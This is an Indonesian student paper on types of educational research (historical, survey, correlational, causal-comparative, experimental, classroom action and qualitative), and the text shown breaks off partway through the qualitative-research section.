Dengan mengucapkan puji syukur kehadirat Allah Tuhan Yang Maha Esa yang telah memberikan berkah dan karunia-Nya, penulis dapat menyusun makalah yang berjudul “JENIS-JENIS PENELITIAN“ ini tepat pada waktunya. Penulis juga mengucapkan terima kasih kepada pihak-pihak yang telah membantu dalam penyusunan makalah ini, diantaranya :

1. Ibu sarini, S. Pd.I., M.A. selaku dosen mata kuliah Metodologi Penelitian yang telah memberikan petunjuk dalam penyusunan makalah ini, sehingga penulis dapat menyusun dengan baik
2. Orang tua yang telah memberikan dukungan, baik itu secara materi maupun spiritual sehingga penulis mampu menyelesaikan makalah ini tepat pada waktunya
3. Teman-teman yang telah membantu dengan memberikan saran dan masukan sehingga penulis dapat menyelesaikan makalah ini dengan baik

Akhirnya penulis menyadari sepenuhnya bahwa makalah ini masih jauh dari sempurna. Oleh karena itu, dengan segala kerendahan hati, penulis mohon kepada para pembaca atau bapak dosen berkenan memberikan saran dan kritik yang bersifat membangun demi perbaikan malakah ini. Untuk itu penulis mengucapkan terima kasih dan semoga makalah ini dapat berguna bagi para pembaca.




Tembilahan, Maret 2011

Penulis


KELOMPOK I





DAFTAR ISI

KATA PENGANTAR..................................................................................................i
DAFTAR ISI.................................................................................................................ii

BAB I PENDAHULUAN
1.1 Latar Belakang …………………………………………………………………… 1
1.2 Rumusan Masalah ………………………………………………………………... 2
1.3 Tujuan Penulisan ………………………………………………………………… 2
1.4 Manfaat Penulisan ……………………………………………………………….. 2
1.5 Metode Penulisan ………………………………………………………………… 2
BAB II PEMBAHASAN
2.1 Penelitian Historis ………………………………………………………………. 3
2.2 Penelitian Survei…………………………………………………………………. 4
2.3 Penelitian Korelasi ……………………………………………………………… 5
2.4 Penelitian Kausal Komparatif …………………………………………………… 6
2.5 Penelitian Eksperimen …………………………………………………………... 6
2.6 Penelitian Tindakan Kelas ………………………………………………………. 8
2.7 Penelitian Kualitatif …………………………………………………………….. 10
2.8 Penelitian Pengembangan …………………………………………………..……. 11
BAB III PENUTUP
3.1 Simpulan …………………………………………………………………...…… 12
3.2 Saran ………………………………………………………………………....…. 12

DAFTAR PUSTAKA





BAB I
PENDAHULUAN

1.1 Latar Belakang
Manusia adalah makhluk yang sering disebut sebagai animal rational yang dibekali hasrat ingin tahu. Sifat ingin tahu manusia telah dapat disaksikan sejak manusia masih kanak-kanak. Dorongan rasa ingin tahu tersebut membawa manusia selalu berusaha mendapatkan pengetahuan yang sedang dipermasalahkan atau yang sedang dipertanyakan. Di dalam sejarah perkembangan pikir manusia ternyata yang dikejar itu esensinya adalah pengetahuan yang benar atau secara singkat disebut kebenaran. Hasrat ingin tahu manusia terpuaskan apabila dia memperoleh pengetahuan mengenai hal yang dipertanyakannya. Adapun pengetahuan yang diinginkannya adalah pengetahuan yang benar. Pengetahuan yang benar atau kebenaran memang secara inherent dapat dicapai manusia, baik melalui pendekatan non ilmiah maupun pendekatan ilmiah (Suryabrata, 2005). Melalui pendekatan ilmiah orang akan berusaha untuk memperoleh kebenaran ilmiah yaitu pengetahuan benar yang kebenarannya terbuka untuk diuji oleh siapa saja yang menghendaki untuk mengujinya. Pengetahuan yang diperoleh dengan pendekatan ilmiah inilah yang didapat melalui penelitian ilmiah. Menurut Ardhana (1987) penelitian merupakan suatu penyelidikan secara sistematik, terkontrol, empirik dan kritis mengenai proporsi-proporsi hipotesis mengenai hubungan yang diperkirakan ada antara gejala-gejala alamiah.
Dalam melakukan penelitian orang dapat menggunakan berbagai macam metode dan sajian dengan rancangan penelitian juga digunakan bermacam-macam. Untuk menyusun sesuatu rancangan penelitian yang baik maka beberapa hal perlu dipertimbangkan seperti, 1) cara pendekatan apa yang akan dipakai, 2) metode apa yang akan dipakai, 3) dan strategi apa yang kiranya paling efektif (Suryabrata, 2005). Keputusan mengenai rancangan apa yang akan dipakai akan tergantung kepada tujuan penelitian, sifat masalah yang akan diselesaikan dan berbagai alternatif yang mungkin digunakan. Apabila tujuan penelitian sudah dispesifikasi maka penelitian itu telah mempunyai ruang lingkup dan arah yang jelas dan karenanya perhatian dapat diarahkan kepada target area yang terbatas. Sehingga sifat masalah akan memainkan peranan utama dalam menentukan cara-cara pendekatan yang cocok, yang selanjutnya akan menentukan rancangan penelitiannya. Banyak orang yang ragu-ragu memulai suatu proyek penelitian karena kerumitan yang tampak pada metode yang digunakan dalam beberapa proyek penelitian dan banyak pula yang terhambat di tengah jalan karena penggunaan metode atau jenis penelitian yang kurang tepat. Atas dasar itulah perlu kiranya dipaparkan mengenai prinsip dari jenis-jenis penelitian tersebut di antaranya penelitian historis, penelitian survei, penelitian korelasional, penelitian kausal komparatif, penelitian eksperimen, penelitian tindakan kelas, penelitian kualitatif, dan penelitian pengembangan, yang diharapkan memudahkan peneliti dalam hal menentukan rancangan atau jenis penelitian yang paling tepat digunakan dalam penelitian tersebut.





1.2 Rumusan Masalah
Berdasarkan latar belakang tersebut di atas, dapat dikemukakan beberapa permasalahan sebagai berikut.
1.2.1 Bagaimanakah prinsip penelitian historis?
1.2.2 Bagaimanakah prinsip penelitian survei?
1.2.3 Bagaimanakah prinsip penelitian korelasional?
1.2.4 Bagaimanakah prinsip penelitian kausal komparatif?
1.2.5 Bagaimanakah prinsip penelitian eksperimen?
1.2.6 Bagaimanakah prinsip penelitian tindakan kelas?
1.2.7 Bagaimanakah prinsip penelitian kualitatif?
1.2.8 Bagaimanakah prinsip penelitian pengembangan?

1.3 Tujuan Penulisan
Sejalan dengan rumusan masalah tersebut, maka tujuan dari penulisan makalah ini adalah sebagai berikut.
1.3.1 Untuk menjelaskan prinsip penelitian historis.
1.3.2 Untuk menjelaskan prinsip penelitian survei.
1.3.3 Untuk menjelaskan prinsip penelitian korelasional.
1.3.4 Untuk menjelaskan prinsip penelitian kausal komparatif.
1.3.5 Untuk menjelaskan prinsip penelitian eksperimen.
1.3.6 Untuk menjelaskan prinsip penelitian tindakan kelas.
1.3.7 Untuk menjelaskan prinsip penelitian kualitatif.
1.3.8 Untuk menjelaskan prinsip penelitian pengembangan.

1.4 Manfaat
Adapun manfaat yang diperoleh dari penulisan makalah ini yaitu diperoleh gambaran mengenai jenis-jenis penelitian sehingga dapat dijadikan acuan oleh mahasiswa dalam penulisan skripsi nantinya.

1.5 Metode Penulisan
Metode yang digunakan penulis dalam menulis makalah ini adalah metode kajian pustaka. Dalam metode kajian pustaka penulis menggunakan buku-buku sumber yang berisikan materi yang akan dibahas dalam makalah.











BAB II
PEMBAHASAN

2.1 Penelitian Historis
Penelitian historis (historical research) digunakan untuk menggambarkan atau memotret keadaan atau kejadian masa lalu yang kemudian digunakan untuk menjadi proses pembelajaran masyarakat sekarang. Penelitian historis merupakan salah satu penelitian mengenai pengumpulan dan evaluasi data secara sistematik, berkaitan dengan kejadian masa lalu untuk menguji hipotesis yang berhubungan dengan penyebab pengaruh dan perkembangan kejadian yang mungkin membantu dengan memberikan informasi pada kejadian sekarang serta mengantisipasi kejadian yang akan datang (Sukardi, 2003). Tujuan dari penelitian historis adalah untuk membuat rekontruksi masa lampau secara sistematis dan objektif dengan cara mengumpulkan, mengevaluasi, memverifikasi, serta mensintesiskan bukti-bukti untuk menegakkan fakta dan memperoleh kesimpulan yang kuat (Suryabrata, 2005).
Penelitian historis lebih tergantung pada data yang diobservasi oleh peneliti sendiri. Data yang baik akan dihasilkan oleh kerja yang cermat dalam menganalisis keotentikan, ketepatan dan pentingnya sumber-sumbernya. Berlainan dengan anggapan yang populer, penelitian historis harus tertib dan ketat, sistematis dan tuntas; seringkali penelitian yang dikatakan sebagai suatu ”penelitian historis” hanyalah koleksi informasi-informasi yang tak layak, tak reliabel dan berat sebelah. Penelitian historis tergantung kepada dua macam data yaitu data sekunder dan data primer. Data primer diperoleh dari sumber primer, yaitu si peneliti (penulis) yang secara langsung melakukan observasi atau penyaksian kejadian-kejadian yang dituliskan. Data sekunder diperoleh dari sumber sekunder yaitu peneliti melaporkan hasil observasi orang lain yang satu kali atau lebih telah lepas dari kejadian aslinya. Di antara kedua sumber itu, sumber primer dipandang memiliki otoritas sebagai tangan pertama dan diberi prioritas dalam pengumpulan data. Untuk menentukan bobot data biasa dilakukan dua macam kritik yaitu kritik eksternal dan kritik internal. Kritik eksternal menanyakan ”apakah dokumen relik itu otentik?”, sedang kritik internal menanyakan ”apabila data itu otentik, apakah data tersebut akurat dan relevan?”. Kritik internal harus menguji motif keberatsebelahan, dan keterbatasan si penulis yang mungkin melebih-lebihkan atau mengabaikan sesuatu dan memberikan informasi yang terpalsu. Evaluasi kritis inilah yang menyebabkan penelitian historis itu sangat tertib-ketat yang dalam banyak hal lebih demanding daripada studi eksperimental. Walaupun penelitian historis mirip dengan penelaahan kepustakaan yang mendahului lain-lain bentuk rancangan penelitian, namun cara pendekatan historis lebih tuntas mencari informasi yang lebih luas. Penelitian historis juga menggali informasi-informasi yang lebih tua daripada yang umum dituntut dalam penelaahan kepustakaan dan banyak juga menggali bahan-bahan yang tidak diterbitkan dan tidak dikutip dalam bahan acuan yang standar.
Adapun contoh dari penelitian historis misalnya penelitian mengenai dampak perubahan kurikulum dari kurikulum 1994, KBK sampai kurikulum KTSP. Agar penelitian ini terlaksana dan berhasil maka perlu dipahami langkah penting yang harus dilalui dalam penelitian ini diantaranya menentukan masalah penelitian yang diharapkan memiliki manfaat ganda, menentukan tujuan, menetapkan populasi dan besarnya sampel, mengevaluasi data dengan menggunakan kritik eksternal maupun kritik internal dan yang terakhir adalah melaporkan hasil penelitian kepada masyarakat termasuk melengkapi komponen-komponen penelitian dan mengkomunikasikan dalam jurnal pengetahuan.

2.2 Penelitian Survei
Survei merupakan pengamatan atau penyelidikan yang kritis untuk mendapatkan keterangan yang baik terhadap suatu persoalan tertentu di dalam daerah atau lokasi tertentu atau suatu studi ekstensif yang dipolakan untuk memperoleh informasi-informasi yang dibutuhkan (Daniel, 2001). Penelitian survei merupakan kegiatan penelitian yang memiliki tiga tujuan penting diantaranya: 1) mendeskripsikan keadaan alami yang hidup saat itu, 2) mengidentifikasi secara terukur keadaan sekarang untuk dibandingkan dan 3) menentukan hubungan sesuatu yang hidup di antara kejadian spesifik (Sukardi, 2003).
Penelitian dengan menggunakan survei juga merupakan metode baik guna mengukur sikap orientasi penduduk dalam populasi besar terhadap suatu kasus sosial. Dalam bidang pendidikan, pelaksanaan penelitian survei mungkin bervariasi dalam hal tingkat kompleksitasnya dari yang hanya menggunakan teknik analisis frekuensi sederhana sampai dengan penggunaan perhitungan analisis hubungan antar variabel kompleks. Survei juga bervariasi dalam hal cakupan penelitian. Penelitian itu bisa dilakukan dengan hanya menggunakan beberapa item pertanyaan tetapi mencakup wilayah penelitian sempit. Misalnya survei tentang letak sekolah dalam suatu kawasan. Penelitian survei juga dapat dibedakan atas lamanya waktu penyelenggaraan. Terdapat jenis survei yang dilaksanakan dalam waktu sesaat atau slice of time dengan cakupan luas dan tetapi ada pula yang dilakukan dalam jangka waktu yang lebih lama misalnya tiga tahun atau lebih (Sukardi, 2003). Waktu yang lama ataupun yang berjangka pendek serta yang lebih penting diperhatikan dalam penelitian survei adalah adanya kecenderungan para peneliti untuk menggunakan satu metode atau lebih teknik pengumpulan data seperti wawancara, dokumentasi, chek list, dan angket atau kuesioner dengan tidak melihat karakteristik yang ada baik itu penelitian dilakukan dalam skope yang luas atau sempit. Keempat teknik ini dianjurkan guna mendapatkan data yang akurat dan terstruktur.
Kegiatan penelitian survei dapat diidentifikasi sejak seorang peneliti melakukan persiapan perencanaan, menentukan strategi sampling yang hendak digunakan, mendiskusikan instrumen pengumpul data seperti angket dan wawancara, bagaimana menyampaikan instrumen tersebut kepada responden sebagai kelengkapan teknik survei, sampai akhirnya mengedentifikasi beberapa prosedur yang tepat agar dapat memproses dan menganalisis untuk memperoleh hasil penelitian. Terdapat minimal tiga persyaratan untuk melakukan penelitian survei. Ketiga persyaratan pendahuluan tersebut ialah: 1) perlunya tujuan penelitian yang tepat, 2) adanya populasi yang menjadi pusat kegiatan penelitian, dan 3) sumber pembiayaan yang mencukupi. Menurut Issac Michael (dalam Sukardi, 2003) terdapat empat karakteristik yang penting yang perlu ada pada penelitian survei yaitu, 1) rencana penelitian yang dibuat secara sistematis, sehingga isi tepat dan pelaksanaan efisien mengacu kepada prinsip sistematis, 2) mendekati keadaan populasi yang ada dengan menerapkan prinsip representativeness atau keterwakilan, 3) meyakinkan data yang ada dapat dieksplorasi secara eksplisit dan objektif dan 4) data dapat diekspresikan secara kuantitatif. Adapun contoh dari penelitian survei ini adalah penelitian untuk mengetahui profil kemampuan guru fisika dalam merumuskan KTSP. Agar penelitian tersebut berhasil maka perlu kiranya peneliti mengetahui langkah-langkah umum dalam penelitian survei diantaranya mengembangkan dan membuat angket, pemilihan sampel dan mengumpulkan data dengan wawancara atau kuisioner.

2.3 Penelitian Korelasi
Penelitian korelasi (correlational research) adalah suatu penelitian yang melibatkan tindakan pengumpulan data guna menentukan apakah ada hubungan dan tingkat hubungan antara dua variabel atau lebih (Sukardi, 2003). Penelitian ini sifatnya expose-facto yaitu mengungkapkan fakta yang sudah terjadi di mana penyebabnya tidak bisa diinterfensi.
Adanya hubungan dan tingkat variabel sangat penting, karena dengan mengetahui tingkat hubungan yang ada, peneliti akan dapat mengembangkannya sesuai dengan tujuan penelitian. Tujuan dari penelitian korelasional adalah untuk mendeteksi sejauh mana variasi-variasi pada suatu faktor berkaitan dengan variasi-variasi pada satu atau lebih faktor lain berdasarkan pada koefisien korelasi (Suryabratha, 2003).
Penelitian korelasi memiliki tiga karakteristik penting untuk para peneliti yang hendak menggunakannya. Tiga karakteristik tersebut, diantaranya adalah (Sukardi, 2003):
1. Penelitian korelasi akan memberikan hasil yang tepat jika variabel kompleks dan peneliti tidak mungkin melakukan manipulasi dan mengontrol variabel seperti dalam penelitian eksperimen.
2. Penelitian korelasi memungkinkan variabel diukur secara intensif dalam setting (lingkungan) nyata.
3. Penelitian korelasi memungkinkan peneliti mendapatkan derajat asosiasi yang signifikan.
Penelitian ini mencakup kegiatan pengumpulan data guna menentukan hubungan antar variabel dalam subjek atau objek yang menjadi perhatian untuk diteliti. Dibidang pendidikan, studi korelasi biasanya digunakan untuk melakukan penelitian terhadap sejumlah variabel yang diperkirakan mempunyai peranan signifikan dalam mencapai keberhasilan proses pembelajaran. Sebagai contoh dalam bidang fisika, misalnya derajat keterhubungan kemampuan matematika siswa di SMP terhadap prestasi belajar fisika di kelas I SMA.
Penelitian korelasi umumnya dilakukan oleh seorang peneliti dengan alasan sebagai berikut. a) ada kebutuhan informasi bahwa ada hubungan antar variabel di mana koefisien korelasi dapat mencapainya, b) penelitian korelasi perlu diperhitungkan kegunannya apabila variabel yang muncul itu kompleks, dan peneliti tidak mungkin dapat melakukan kontrol dan memanipulasi variabel-variabel tersebut, c) dalam penelitian memungkinkan dilakukan pengukuran beberapa variabel dan hubungan yang ada dalam setting yang realistis.
Kelebihan dari penelitian korelasi yakni sangat berguna dalam mengatasi masalah yang berkaitan dengan bidang pendidikan, ekonomi dan sosial. Hal itu karena peneliti dimungkinkan untuk mengukur beberapa variabel dan hubungannya secara simultan. Selain itu penelitian korelasi pada umumnya melakukan studi tingkah laku dengan setting yang realistis (Sukardi, 2003).
Kelemahan-kelemahan dari penelitian korelasional yang perlu diperhatikan oleh para peneliti adalah a) hasilnya hanya mengidentifikasikan apakah suatu variabel tersebut sejalan, dengan tanpa melakukan manipulasi serta tidak dapat membangun hubungan yang bersifat kausal (sebab akibat), b) penelitian korelasi kurang melakukan kontrol terhadap variabel-variabel bebas, c) pola saling hubungan tersebut sering tidak menentu.
Penelitian korelasi pada intinya adalah mengetahui ada dan besarnya hubungan antar dua atau lebih variabel bebas. Kontrol terhadap variabel tidak dilakukan dalam penelitian ini, dan variabel diukur secara intensif dalam setting (lingkungan) nyata.

2.4 Penelitian Kausal Komparatif
Metode penelitian yang erat dengan penelitian korelasi adalah penelitian kausal komparatif (causal comparative research) atau hubungan sebab akibat. Adapun tujuan dari penelitian ini adalah untuk menyelidiki kemungkinan hubungan sebab akibat yang berdasar pada pengamatan terhadap akibat yang ada dan mencari kembali faktor yang mungkin menjadi penyebab melalui data tertentu (Suryabratha, 2003).
Hampir sama dengan penelitian korelasi, penelitian kausal komparatif juga merupakan penelitian yang sifatnya ex-postfacto yakni penelitian dimana variabel-variabel telah terjadi ketika peneliti mulai dengan pengamatan variabel terikat dalam suatu penelitian. Peneliti mengambil satu atau lebih akibat dan menguji data tersebut dengan menelusuri kembali ke masa lampau untuk mencari sebab-sebab, saling hubungan dan maknanya.
Pendekatan dasar kausal komparatif melibatkan kegiatan peneliti yang diawali dari mengidentifikasi pengaruh variabel satu terhadap variabel lainnya, kemudian berusaha mencari kemungkinan variabel penyebabnya. Peneliti berusaha mencermati pertanyaan penelitian what is the effect of X?. Sebagai contoh, apa pengaruh yang terjadi jika seorang anak tanpa mengikuti sekolah taman kanak-kanak kemudian langsung masuk kelas satu sekolah dasar?
Keunggulan-keunggulan dari penelitian kausal komparatif adalah menghasilkan informasi yang sangat berguna mengenai sifat-sifat gejala yang dipermasalahkan, apa sejalan dengan apa, dalam kondisi apa, pada perurutan dan pola yang bagaimana dan sejenis dengan itu. Selain itu perbaikan-perbaikan dalam hal teknik, metode statistik, dan rancangan dengan kontrol parsial, pada akhir-akhir ini telah membuat membuat studi kausal komparatif tersebut dapat lebih dipertanggungjawabkan.
Kelemahan penelitian kausal komparatif yaitu kontrol variabel tidak dapat dilakukan. Sehingga interpretasi hasil penelitian pada umumnya hanya menekankan pada hubungan dan prediksi variabel dengan tidak terlalu berorientasi pada hubungan sebab akibat.
Jadi penelitian kausal komparatif pada prinsipnya merupakan kegiatan penelitian untuk mencari informasi tentang hubungan antara akibat dengan kemungkinan penyebabnya.
Contoh penelitian kausal komparatif dalam bidang fisika adalah perbedaan nilai fisika siswa SMP di Kota Singaraja dilihat dari jenis kelamin.

2.5 Penelitian Eksperimen
Jenis penelitian lain yang sering dilakukan oleh seorang peneliti di bidang pendidikan adalah penelitian eksperimen (experimental research). Penelitian ekperimen merupakan metode inti dari model penelitian yang ada karena dalam penelitian eksperimen para peneliti melakukan tiga persyaratan dari suatu bentuk penelitian. Ketiga persyaratan tersebut meliputi kegiatan mengontrol, memanipulasi, dan observasi. Tujuan penelitian ini adalah untuk menyelidiki ada tidaknya hubungan sebab-akibat serta berapa besar hubungan sebab-akibat tersebut dengan cara memberikan perlakukan tertentu pada beberapa kelompok eksperimental dan menyediakan kontrol untuk perbandingan (Ardhana, 2008).
Dalam penelitian eksperimen, variabel-variabel yang ada termasuk variabel bebas (independent variable) dan variabel terikat (dependent variable) yang telah ditentukan secara tegas oleh para peneliti sejak awal penelitian. Variabel bebas biasanya merupakan variabel yang dimanipulasi secara sistematis. Dibidang pendidikan, yang termasuk variabel bebas adalah metode mengajar, macam-macam penguatan (reinforcements), sarana prasana pendidikan dan sebagainya. Variabel terikat atau yang sering disebut criterion variable merupakan variabel yang diukur sebagai akibat adanya manipulasi pada variabel bebas. Variabel terikat disebut dependent variable karena dari segi fungsinya yang tergantung dari variabel bebas. Contoh dari variabel terikat adalah hasil belajar siswa, kemandirian siswa dan sebagainya (Sukardi, 2003).
Konsep dasar yang berkaitan erat dengan penelitian eksperimen adalah menjawab pertanyaan yang berkaitan dengan mengontrol beberapa variabel bebas serta perubahan yang terjadi pada variabel terikat. Untuk mengetahui perubahan tersebut peneliti diharuskan melakukan observasi selama proses eksperimen berlangsung. Dalam pelaksanaan penelitian eksperimen, kelompok kontrol sebaiknya diatur secara intensif sehingga kedua variabel mempunyai karakteristik sama atau mendekati sama. Yang membedakan dari kedua kelompok variabel tersebut adalah perubahan pada variabel terikat terjadi disebabkan group eksperimen diberi treatment (perlakuan) seperti direncanakan oleh si peneliti, sedangkan group kontrol tidak diberi treatment.
Berdasarkan kemampuan melakukan kontrol terhadap variabel-variabel penelitian, rancangan eksperimen dapat dibedakan menjadi tiga jenis yaitu pra eksperimen penelitian, eksperimen semu (quasi eksperimental research) dan eksperimen sungguhan (true experimental research) (Sukardi, 2003).
a. Rancangan pra eksperimen
Rancangan pra eksperimen berupaya untuk mengungkapkan hubungan sebab akibat hanya dengan cara melibatkan satu kelompk subyek, sehingga tidak ada kontrol yang ketat terhadap variabel ekstra
b. Rancangan Eksperimen Semu (quasi eksperimental research)
Penelitian kuasi eksperimen (quasi eksperimental research) dapat diartikan sebagai penelitian yang mendekati eksperimen atau eksperimen semu. Penelitian ini bertujuan untuk mengungkapkan hubungan sebab akibat dengan cara melibatkan kelompok kontrol disamping kelompok eksperimen, namun pemilahan kedua kelompok tersebut tidak dengan teknik random. Oleh karena itu rancangan ini relatif lebih cermat dalam mengungkapkan hubungan sebab akibat dibandingan dengan rancangan pra eksperimen. Rancangan eksperimen ini sering digunakan dalam bidang penelitian pendidikan yang memiliki karakteristik sebagai berikut.
- Masalah yang ingin dipecahkan adalah masalah pembelajaran nyata.
- Menggunakan subjek penelitian siswa.
- Mengendalikan hanya satu atau dua variabel yang ditunjang oleh kerangka teoritik yang diduga kuat dapat mempengaruhi kualitas proses pembelajaran dan hasil belajar siswa.
- Memiliki rancangan penelitian yang jelas dan menghindari penelitian one shot treatment dan menjunjung tinggi reliabilitas hasil penelitian.
Contoh penelitian eksperimen semu dalam bidang fisika adalah pengaruh project based learning terhadap kinerja ilmiah siswa untuk menciptakan teknologi baru pada pembelajaran fisika.
c. Rancangan eksperimen sungguhan (true experimental research)
Rancangan ekperimen sungguhan adalah rancangan yang digunakan untuk mengungkapkan sebab dan akibat dengan cara melibatkan kelompok kontrol di samping kelompok eksperimen yang dipilah dengan menggunakan teknik acak. Oleh sebab itu rancangan ini relatif paling cermat dalam mengungkapkan hubungan sebab akibat antar variabel. namun kelemahan pada penelitian eksperimen sungguhan memungkinkan untuk mengontrol variabel-variabel yang relevan, namun cara ini juga paling striktif dan dibuat-buat (artifisial). Ciri inilah yang merupakan kelemahan utama jika metode ini dikenakan kepada manusia dalam dunianya, karena manusia sering dibuat lain apabila tingkah lakunya dibatasi secara artifisial, dimanipulasikan atau diobservasi secara sistematis.
Contoh penelitian eksperimen sungguhan yaitu percobaan faktorial tentang pengaruh peemupukan dan jarak tanam dengan adanya control pada percobaan faktorial.
Berdasarkan paparan diatas, dapat disimpulkan bahwa penelitian eksperimen merupakan suatu penelitian yang bertujuan untuk mengungkapkan hubungan sebab akibat dengan cara melibatkan kelompok kontrol disamping kelompok eksperimen untuk mengetahui adanya perbedaan dari kedua kelas tersebut.

2.6 Penelitian Tindakan Kelas (PTK)
Penelitian tindakan adalah suatu penelitian yang dikembangkan bersama-sama antara peneliti dan decision maker tentang variabel-variabel yang dapat dimanipulasikan dan dapat segera digunakan untuk menentukan kebijakan dan pembangunan (Nazir, 2005). Penelitian tindakan kelas (classroom action research) merupakan salah satu jenis penelitian tindakan dengan tujuan yang spesifik yang berkaitan dengan kelas. Menurut Arikunto (2008), penelitian tindakan kelas merupakan suatu pencermatan terhadap kegiatan belajar berupa sebuah tindakan, yang sengaja dimunculkan dan terjadi dalam sebuah kelas secara bersama.
Pengertian kelas dalam penelitian tindakan kelas bukan ditujukan pada ruang kelas. Kelas yang dimaksud adalah sekelompok peserta didik pada saat yang sama, menerima pelajaran yang sama dari pendidik yang sama pula. Jadi penelitian tindakan kelas tidak hanya terbatas dilakukan di ruang kelas. Penelitian tindakan kelas dapat dilakukan di laboratorium, di perpustakaan, di lapangan olahraga atau di tempat yang lain sepanjang terdapat kelas seperti yang dimaksudkan di atas.
Beberapa prinsip yang terdapat dalam penelitian tindakan kelas adalah sebagai berikut.
1. Penelitian tindakan kelas beranjak dari permasalahan-permasalahan nyata yang dihadapi dalam kelas. Permasalahan-permasalahan yang dikaji bukan dihasilkan dari kajian teoritis ataupun dari hasil penelitian yang terdahulu.
2. Adanya tindakan (action) yang nyata dilakukan pada situasi alami dan ditujukan untuk memecahkan masalah praktis yang dialami pada saat itu. Dalam penelitian, tindakan yang dilakukan dalam kegiatan berbentuk rangkaian siklus kegiatan.
3. Adanya kolaborasi antara peneliti dan praktisi (guru, kepala sekolah, siswa, dan lain-lain) dalam keseluruhan proses perencanaan dan pelaksanaan penelitian.
4. Penelitian tindakan kelas bukan lagi mengetes sebuah tindakan, akan tetapi sudah mempunyai keyakinan akan ampuhnya tindakan yang diberikan. Peneliti langsung menerapkan perlakuan tersebut dengan hati-hati dan juga mengikuti proses serta dampak tindakan yang diberikan.
5. Penelitian merupakan bagian integral dari pembelajaran. Tahapan penelitian dilaksanakan selaras dengan pelaksanaan pembelajaran. Mulai dari persiapan program (planning), pelaksanaan pembelajaran (action), observasi kegiatan pembelajaran (observation) evaluasi terhadap hasil pembelajaran (evaluation) dan refleksi dari proses dan hasil pembelajaran (reflection). Artinya proses dan hasil pembelajaran direkam dan dilaporkan secara sistemik dan terkendali menurut kaidah ilmiah.
Menurut Arnyana (2007), prinsip-prinsip penelitian tindakan kelas yaitu:
1. PTK diusahakan agar tidak menganggu tugas pokok pembelajaran.
2. Metode pengumpulan data yang digunakan tidak menyita waktu berlebih agar tidak mengganggu proses pembelajaran.
3. Metode yang digunakan harus cukup reliable.
4. Masalah penelitian tindakan kelas seharusnya merupakan masalah operasional pembelajaran yang cukup merisaukan, sehingga tidak perlu diatasi oleh guru sebagai tanggung jawab operasionalnya.
5. Selama pelaksanaan PTK guru harus konsisiten dan peduli terhadap prosedur etika.
6. Sejauh mungkin harus digunakan perspektif sekolah.
Tujuan yang ingin dicapai dalam penelitian tindakan kelas secara rinci adalah sebagai berikut.
1. Meningkatkan mutu isi, masukan, proses serta hasil pendidikan dan pembelajaran di sekolah.
2. Membantu guru dan tenaga kependidikan lainnya mengatasi masalah pembelajaran dan pendidikan dalam kelas.
3. Meningkatkan sikap professional pendidik dan tenaga kependidikan.
4. Menumbuhkembangkan budaya akademik di lingkungan sekolah sehingga tercipta sikap proaktif di dalam melakukan perbaikan mutu pendidikan dan pembelajaran secara berkelanjutan.
Contoh judul penelitian tindakan kelas: “Penerapan Model Problem Based Learning untuk Meningkatkan Kemampuan Pemecahan Masalah Mata Pelajaran Fisika pada kelas X SMP Negeri 1 Singaraja”.
Berdasarkan paparan di atas dapat disimpulkan bahwa penelitian tindakan kelas merupakan penelitian tindakan yang beranjak dari masalah nyata dalam kelas dan tindakan yang diberikan bertujuan untuk memecahkan masalah tersebut guna peningkatan proses pembelajaran.


2.7 Penelitian Kualitatif
Penelitian kualitatif mulai diterima oleh masyarakat ilmiah kira-kira sejak tahun 1990. Penelitian kualitatif yang dikenal di Indonesia adalah penelitian kualitatif naturalistik (Arikunto, 2006). Istilah naturalistik maksudnya bahwa pelaksanaan penelitian terjadi secara ilmiah, apa adanya, dalam situasi normal yang tidak dimanipulasikan keadaan dan kondisinya, menekankan pada deskripsi secara alami.
Penelitian kualitatif berlandaskan pada filsafat postpositivisme yaitu paham yang memandang bahwa realitas sosial sebagai sesuatu yang holistik (utuh), kompleks, dinamis, penuh makna dan hubungan gejala bersifat interaktif. Penelitian kualitatif bersifat induktif, yaitu pengembangan konsep yang didasarkan atas data yang ada, mengikuti desain penelitian yang fleksibel sesuai dengan konteksnya. Tujuan yang ingin dicapai adalah menemukan pola hubungan yang bersifat interaktif, menemukan teori, menggambarkan realitas yang kompleks, dan memperoleh pemahaman makna.
Dalam penelitian kualitatif, instrumen penelitian adalah peneliti sendiri. Maka dari itu peneliti harus memiliki daya responsif yang tinggi, adaptabel, berwawasan luas, mampu melakukan klasifikasi, serta mampu menarik kesimpulan. Penelitian kualitatif berusaha untuk mendapatkan data yang mendalam atau data yang bermakna. Makna adalah data yang sebenarnya, data yang melatarbelakangi suatu gejala muncul. Peneliti bukan berusaha menjawab, pertanyaan “apa” tetapi “mengapa”. Sehingga untuk medapatkan data yang mendalam dan alami, peneliti dianjurkan melakukan pengamatan secara partisipatif. Untuk mendapatkan pemahaman yang luas dan mendalam, maka teknik pengumpulan data bersifat triangulasi. Triangulasi berarti menggunakan berbagai teknik pengumpulan data secara gabungan atau simultan.
Analisis yang digunakan bersifat induktif berdasarkan fakta-fakta yang ditemukan di lapangan dan kemudian dikonstruksi menjadi hipotesis atau teori. Analisis data bukan dilakukan ketika semua data telah terkumpul, tetapi dilakukan terus-menerus dari awal hingga akhir. Sampel yang digunakan kecil, tidak representatif, dan terus berkembang selama proses penelitian. Penelitian kualitatif menggunakan non-probabilitas sampling. Hal ini karena peneliti tidak bermaksud menarik generalisasi atas hasil yang diperoleh. Teknik sampling yang digunakan seperti accidental sampling, purposive sampling, cluster-quota sampling dan snow-ball sampling.
Menurut Arikunto (2006) karakteristik dari penelitian kualitatif adalah sebagai berikut.
1. Kejelasan unsur pada penelitian kualitatif seperti subjek sampel dan sumber data tidak mantap dan rinci, masih fleksibel serta timbul dan berkembangnya sambil jalan (emergent).
2. Langkah penelitian baru diketahui dengan mantap dan jelas setelah penelitian selesai.
3. Tidak dapat menggunakan pendekatan populasi dan sampel. Dalam penelitian kualitatif tidak dikenal istilah populasi dan sampel. Istilah yang digunakan adalah setting. Hasil penelitian hanya berlaku bagi setting yang bersangkutan.
4. Tidak mengemukaakan hipotesis sebelumnya, tetapi hipotesis dapat lahir selama penelitian berlangsung, artinya bersifat tentatif. Hasil penelitian kualitatif juga bersifat terbuka.
5. Desain penelitiannya adalah fleksibel dengan langkah dan hasil yang tidak dapat dipastikan sebelumnya.
6. Kegiatan pengumpulan data harus selalu dilakukan sendiri oleh peneliti.
7. Analisis data dilakukan bersamaan dengan pengumpulan data.
